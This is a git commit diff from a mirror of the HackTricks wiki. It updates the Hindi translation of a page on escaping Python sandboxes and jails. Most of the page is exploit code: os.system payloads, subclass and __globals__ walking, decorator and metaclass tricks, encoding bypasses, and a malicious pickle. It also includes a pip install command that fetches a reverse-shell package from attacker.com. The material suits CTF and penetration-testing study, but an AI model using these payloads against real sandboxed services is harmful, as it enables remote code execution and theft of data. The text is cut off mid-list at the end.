mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/python/bypass-p
This commit is contained in:
parent
d34a0e86d7
commit
017680fe23
@ -2,9 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
ये कुछ तरकीबें हैं जो python sandbox protections को बाईपास करके arbitrary commands चलाने के लिए हैं।
|
||||
ये कुछ तरकीबें हैं जो python sandbox protections को बायपास करके arbitrary commands निष्पादित करने में सक्षम बनाती हैं।
|
||||
|
||||
## Command Execution Libraries
|
||||
## कमांड निष्पादन लाइब्रेरीज़
|
||||
|
||||
सबसे पहले आपको यह जानना चाहिए कि क्या आप पहले से import की गई किसी library के साथ सीधे code execute कर सकते हैं, या क्या आप इनमें से कोई भी library import कर सकते हैं:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -37,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
ध्यान रखें कि _**open**_ और _**read**_ functions python sandbox के अंदर **files को read** करने और **code लिखने** (जिसे आप sandbox को **bypass** करने के लिए **execute** कर सकें) में उपयोगी हो सकते हैं।
|
||||
याद रखें कि _**open**_ और _**read**_ functions python sandbox के अंदर **फ़ाइलें पढ़ने** और **कुछ कोड लिखने** के लिए उपयोगी हो सकते हैं जिन्हें आप **execute** करके sandbox को **bypass** कर सकते हैं।
|
||||
|
||||
> [!CAUTION] > **Python2 input()** function प्रोग्राम क्रैश होने से पहले python code execute करने की अनुमति देता है।
|
||||
> [!CAUTION] > **Python2 input()** function प्रोग्राम क्रैश होने से पहले python code को execute करने की अनुमति देता है।
|
||||
|
||||
Python पहले **current directory से libraries load** करने की कोशिश करता है (निम्न कमांड print करेगा कि python modules कहां से लोड हो रहे हैं): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python पहले **current directory से libraries लोड करता है** (निम्नलिखित कमांड यह बताएगा कि python कहाँ से modules लोड कर रहा है): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox डिफ़ॉल्ट रूप से इंस्टॉल किए गए python packages के साथ
|
||||
## Default installed python packages के साथ pickle sandbox को Bypass करें
|
||||
|
||||
### डिफ़ॉल्ट पैकेज
|
||||
|
||||
आप यहां **pre-installed पैकेजों की सूची** पा सकते हैं: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
ध्यान दें कि एक pickle से आप सिस्टम में इंस्टॉल किए गए arbitrary libraries को python env में **import** करवा सकते हैं।\
|
||||
उदाहरण के लिए, निम्नलिखित pickle जब लोड होगा, तो यह उपयोग के लिए pip library को import करेगा:
|
||||
आप यहाँ **pre-installed पैकेजों की सूची** पा सकते हैं: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
ध्यान दें कि एक pickle से आप सिस्टम में इंस्टॉल किए गए python env को **import arbitrary libraries** करने के लिए मजबूर कर सकते हैं।\
|
||||
उदाहरण के लिए, नीचे दिया गया pickle जब लोड होगा तो यह pip लाइब्रेरी को import करके उपयोग करने जा रहा है:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -64,32 +66,32 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
pickle कैसे काम करता है, इसके बारे में अधिक जानकारी के लिए यह देखें: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
pickle कैसे काम करता है, अधिक जानकारी के लिए देखें: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip package
|
||||
### Pip पैकेज
|
||||
|
||||
ट्रिक साझा की गई: **@isHaacK**
|
||||
|
||||
यदि आपके पास `pip` या `pip.main()` तक पहुँच है तो आप एक मनमाना पैकेज इंस्टॉल करके और कॉल करके एक reverse shell प्राप्त कर सकते हैं:
|
||||
यदि आपके पास `pip` या `pip.main()` तक पहुँच है तो आप किसी भी पैकेज को इंस्टॉल कर सकते हैं और निम्न कॉल करके एक reverse shell प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
आप यहाँ reverse shell बनाने के लिए पैकेज डाउनलोड कर सकते हैं। कृपया ध्यान दें कि इसे उपयोग करने से पहले आपको **इसे decompress करना, `setup.py` बदलना, और reverse shell के लिए अपना IP डालना** होगा:
|
||||
आप reverse shell बनाने के लिए पैकेज यहाँ से डाउनलोड कर सकते हैं। कृपया ध्यान दें कि इसे उपयोग करने से पहले आपको **इसे अनज़िप करना, `setup.py` बदलना, और reverse shell के लिए अपना IP डालना** चाहिए:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> यह पैकेज `Reverse` नाम का है। हालांकि, इसे विशेष रूप से इस तरह बनाया गया था कि जब आप reverse shell से बाहर निकलेंगे तो installation का बाकी हिस्सा fail हो जाएगा, इसलिए आप **won't leave any extra python package installed on the server** जब आप छोड़ेंगे।
|
||||
> यह पैकेज `Reverse` नाम का है। हालांकि, इसे विशेष रूप से इस तरह बनाया गया था कि जब आप reverse shell से बाहर निकलेंगे तो बाकी इंस्टॉलेशन विफल हो जाएगी, इसलिए आप छोड़ते समय **server पर कोई अतिरिक्त python package installed नहीं छोड़ेंगे**।
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि exec multiline strings और ";" की अनुमति देता है, लेकिन eval नहीं करता (walrus operator देखें)
|
||||
> ध्यान दें कि exec मल्टीलाइन स्ट्रिंग्स और ";", की अनुमति देता है, लेकिन eval नहीं करता (walrus operator देखें)
|
||||
|
||||
यदि कुछ characters निषिद्ध हैं, तो आप **hex/octal/B64** representation का उपयोग करके इस restriction को **bypass** कर सकते हैं:
|
||||
यदि कुछ characters निषिद्ध हैं, तो आप **hex/octal/B64** representation का उपयोग करके इस प्रतिबंध को **bypass** कर सकते हैं:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -110,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### अन्य लाइब्रेरी जो eval python code करने की अनुमति देती हैं
|
||||
### अन्य लाइब्रेरीज़ जो eval python code करने की अनुमति देती हैं
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -124,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
PDF generators में एक वास्तविक दुनिया के sandboxed evaluator escape को भी देखें:
|
||||
PDF generators में एक वास्तविक-विश्व sandboxed evaluator escape भी देखें:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). यह rl_safe_eval का दुरुपयोग करके evaluated attributes (उदाहरण के लिए, font color) से function.__globals__ और os.system तक पहुँचता है और rendering को स्थिर रखने के लिए एक वैध मान लौटा देता है।
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). यह rl_safe_eval का दुरुपयोग कर evaluated attributes (उदाहरण के लिए, font color) से function.__globals__ और os.system तक पहुंचता है और रेंडरिंग को स्थिर रखने के लिए एक वैध मान लौटाता है।
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
## ऑपरेटर और छोटी तरकीबें
|
||||
## ऑपरेटर्स और शॉर्ट ट्रिक्स
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -141,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## एन्कोडिंग्स के माध्यम से सुरक्षा को बायपास करना (UTF-7)
|
||||
## एन्कोडिंग्स (UTF-7) के माध्यम से सुरक्षा को बायपास करना
|
||||
|
||||
इस [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) में UFT-7 का उपयोग एक प्रकट sandbox के अंदर arbitrary python code को load और execute करने के लिए किया गया है:
|
||||
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 का उपयोग एक दिखाई देने वाले sandbox के अंदर arbitrary python code लोड और execute करने के लिए किया गया है:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -154,11 +156,11 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
इसे अन्य encodings का उपयोग करके भी बायपास करना संभव है, जैसे `raw_unicode_escape` और `unicode_escape`.
|
||||
इसे अन्य encodings का उपयोग करके भी बायपास करना संभव है, जैसे `raw_unicode_escape` और `unicode_escape`।
|
||||
|
||||
## कॉल्स के बिना Python निष्पादन
|
||||
## Python निष्पादन बिना calls
|
||||
|
||||
यदि आप किसी python jail के अंदर हैं जो **आपको कॉल्स करने की अनुमति नहीं देता**, तब भी कुछ तरीके हैं जिनसे आप **execute arbitrary functions, code** और **commands** कर सकते हैं।
|
||||
यदि आप एक python jail के अंदर हैं जो **आपको कॉल करने की अनुमति नहीं देता**, तो भी कुछ तरीके हैं जिनसे आप **arbitrary functions, code** और **commands** को execute कर सकते हैं।
|
||||
|
||||
### RCE के साथ [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -182,13 +184,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE: objects बनाना और overloading
|
||||
### RCE creating objects and overloading
|
||||
|
||||
यदि आप **declare a class** कर सकते हैं और उस class का **create an object** बना सकते हैं, तो आप **write/overwrite different methods** लिख/ओवरराइट कर सकते हैं जो **triggered** हो सकते हैं **without** **needing to call them directly**।
|
||||
यदि आप **declare a class** कर सकते हैं और उस class का **create an object** कर सकते हैं तो आप कुछ **write/overwrite different methods** बना/ओवरराइट कर सकते हैं जिन्हें सीधे कॉल किए बिना **triggered** किया जा सकता है।
|
||||
|
||||
#### RCE custom classes के साथ
|
||||
#### RCE with custom classes
|
||||
|
||||
आप कुछ **class methods** संशोधित कर सकते हैं (_by overwriting existing class methods or creating a new class_) ताकि वे **triggered** होने पर बिना उन्हें सीधे कॉल किए **execute arbitrary code** कर सकें।
|
||||
आप कुछ **class methods** को बदल सकते हैं (_by overwriting existing class methods or creating a new class_) ताकि वे सीधे कॉल किए बिना **execute arbitrary code** कर सकें जब वे **triggered** हों।
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -240,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) के साथ ऑब्जेक्ट बनाना
|
||||
|
||||
metaclasses हमें जो मुख्य चीज करने की अनुमति देते हैं वह यह है कि हम सीधे **make an instance of a class, without calling the constructor** कर सकें — इसके लिए हम लक्ष्य class को metaclass के रूप में सेट करके एक नया class बनाते हैं।
|
||||
metaclasses हमें जो मुख्य बात करने की अनुमति देते हैं वह यह है कि हम **constructor को सीधे कॉल किए बिना किसी class का instance बना सकते हैं**, यह करने के लिए हम target class को metaclass के रूप में उपयोग करते हुए एक नई class बनाते हैं।
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -255,9 +257,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### exceptions के साथ ऑब्जेक्ट बनाना
|
||||
#### exceptions के साथ objects बनाना
|
||||
|
||||
जब एक **exception ट्रिगर होता है** तो **Exception** का एक ऑब्जेक्ट **बन जाता है** बिना आपको सीधे constructor को कॉल करने की आवश्यकता के (एक ट्रिक [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
जब एक **exception ट्रिगर** होता है तो **Exception** का एक object **बनाया** जाता है बिना आपको constructor को सीधे कॉल करने की जरूरत पड़े (एक तरकीब [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -299,7 +301,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### builtins help & license के साथ फ़ाइल पढ़ें
|
||||
### builtins सहायता और लाइसेंस के साथ फ़ाइल पढ़ें
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -313,18 +315,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
यदि आप **`__builtins__`** ऑब्जेक्ट तक पहुँच सकते हैं तो आप libraries import कर सकते हैं (ध्यान दें कि आप यहाँ अंतिम सेक्शन में दिखाए गए अन्य string representation भी उपयोग कर सकते हैं):
|
||||
यदि आप **`__builtins__`** ऑब्जेक्ट तक पहुँच सकते हैं तो आप लाइब्रेरीज़ import कर सकते हैं (ध्यान दें कि आप यहाँ आखिरी अनुभाग में दिखाए गए अन्य string representation का भी उपयोग कर सकते हैं):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### Builtins नहीं
|
||||
|
||||
जब आपके पास `__builtins__` नहीं होता है तो आप कुछ भी import नहीं कर पाएँगे और न ही फाइलें पढ़ या लिख पाएँगे क्योंकि **सभी वैश्विक फ़ंक्शन** (जैसे `open`, `import`, `print`...) **लोड नहीं होते**.\
|
||||
जब आपके पास `__builtins__` नहीं होता है, तो आप कुछ भी import नहीं कर पाएंगे और न ही फ़ाइलें पढ़ या लिख पाएंगे क्योंकि **सभी global फ़ंक्शन्स** (जैसे `open`, `import`, `print`...) **लोड नहीं होते**.\
|
||||
हालाँकि, **डिफ़ॉल्ट रूप से python मेमोरी में कई modules import करता है**। ये modules मामूली लग सकते हैं, पर इनमें से कुछ उनके अंदर **also importing dangerous** functionalities भी शामिल करते हैं जिन्हें access करके यहाँ तक कि **arbitrary code execution** भी हासिल किया जा सकता है।
|
||||
|
||||
हालाँकि, **डिफ़ॉल्ट रूप से python मेमोरी में बहुत सारे मॉड्यूल import करता है**। ये मॉड्यूल benign दिख सकते हैं, लेकिन इनमें से कुछ अंदर ऐसी खतरनाक functionalities import करते हैं जिन्हें एक्सेस करके यहाँ तक कि **arbitrary code execution** भी हासिल किया जा सकता है।
|
||||
|
||||
निम्न उदाहरणों में आप देख सकते हैं कि कैसे इन "benign" लोड किए गए मॉड्यूल्स के कुछ हिस्सों का **abuse** कर के उनके अंदर मौजूद खतरनाक **functionalities** तक **access** किया जा सकता है।
|
||||
निम्न उदाहरणों में आप देख सकते हैं कि कैसे इन लोड किए गए "**benign**" modules में से कुछ का **abuse** करके उनके अंदर की **dangerous** **functionalities** तक पहुँच प्राप्त की जा सकती है।
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -366,7 +367,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) खोजने के लिए दर्जनों/**सैकड़ों** **जगहें** जहाँ आप **builtins** पा सकते हैं।
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) उन दसों/**सैकड़ों** **जगहों** को खोजने के लिए जहाँ आप **builtins** पा सकते हैं।
|
||||
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
@ -384,7 +385,7 @@ __builtins__["__import__"]("os").system("ls")
|
||||
```
|
||||
## Globals and locals
|
||||
|
||||
**`globals`** और **`locals`** की जाँच यह पता लगाने का एक अच्छा तरीका है कि आप किन चीज़ों तक पहुँच सकते हैं।
|
||||
**`globals`** और **`locals`** की जाँच करना यह जानने का एक अच्छा तरीका है कि आप किस तक पहुँच सकते हैं।
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -408,15 +409,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) यह खोजने के लिए कि आप दसों/**सैकड़ों** ऐसे **स्थान** कहाँ पा सकते हैं जहाँ आपको **globals** मिलते हैं।
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) ऐसे दर्जनों/**सैकड़ों** **स्थान** खोजने के लिए जहाँ आप **globals** पा सकते हैं।
|
||||
|
||||
## Discover Arbitrary Execution
|
||||
## Arbitrary Execution की खोज
|
||||
|
||||
यहाँ मैं समझाऊँगा कि कैसे आसानी से **और अधिक खतरनाक functionalities लोडेड** की पहचान की जा सकती है और अधिक भरोसेमंद exploits प्रस्तावित किए जा सकते हैं।
|
||||
यहाँ मैं बताना चाहता हूँ कि कैसे आसानी से **more dangerous functionalities loaded** को खोजा जा सकता है और अधिक भरोसेमंद exploits प्रस्तावित किए जा सकते हैं।
|
||||
|
||||
#### बायपास के साथ subclasses तक पहुँच
|
||||
#### Accessing subclasses with bypasses
|
||||
|
||||
इस technique के सबसे संवेदनशील हिस्सों में से एक है **base subclasses तक पहुँचने में सक्षम होना**। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था, लेकिन **अन्य संभावित तरीके** भी हैं:
|
||||
इस technique के सबसे संवेदनशील हिस्सों में से एक है **base subclasses तक पहुँच** होना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था, पर **अन्य संभावित तरीके** भी हैं:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -444,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### खतरनाक libraries लोड होने का पता लगाना
|
||||
### Finding dangerous libraries loaded
|
||||
|
||||
उदाहरण के लिए, यह जानते हुए कि लाइब्रेरी **`sys`** के साथ **import arbitrary libraries** करना संभव है, आप उन सभी **modules loaded that have imported sys inside of them** को खोज सकते हैं:
|
||||
उदाहरण के लिए, यह जानते हुए कि लाइब्रेरी **`sys`** के साथ **import arbitrary libraries** करना संभव है, आप उन सभी **modules loaded that have imported sys inside of them** की खोज कर सकते हैं:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
बहुत सारे हैं, और **हमें सिर्फ़ एक** चाहिए commands चलाने के लिए:
|
||||
बहुत सारे हैं, और **हमें सिर्फ़ एक चाहिए** to execute commands:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
हम वही कर सकते हैं उन **अन्य लाइब्रेरीज़** के साथ जिन्हें हम जानते हैं कि **execute commands** करने के लिए इस्तेमाल किया जा सकता है:
|
||||
हम वही काम कर सकते हैं **other libraries** के साथ जिन्हें हम जानते हैं कि **execute commands** के लिए उपयोग किया जा सकता है:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -509,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
इसके अलावा, यदि आप सोचते हैं कि **other libraries** संभवतः **invoke functions to execute commands** करने में सक्षम हो सकती हैं, तो हम संभावित **libraries** के अंदर **filter by functions names** भी कर सकते हैं:
|
||||
इसके अलावा, यदि आपको लगता है कि **अन्य लाइब्रेरीज़** कमांड्स को निष्पादित करने के लिए **फ़ंक्शन कॉल कर सकती हैं**, तो हम संभावित लाइब्रेरीज़ के अंदर **फ़ंक्शन नामों** के आधार पर भी फ़िल्टर कर सकते हैं:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -542,10 +543,10 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, 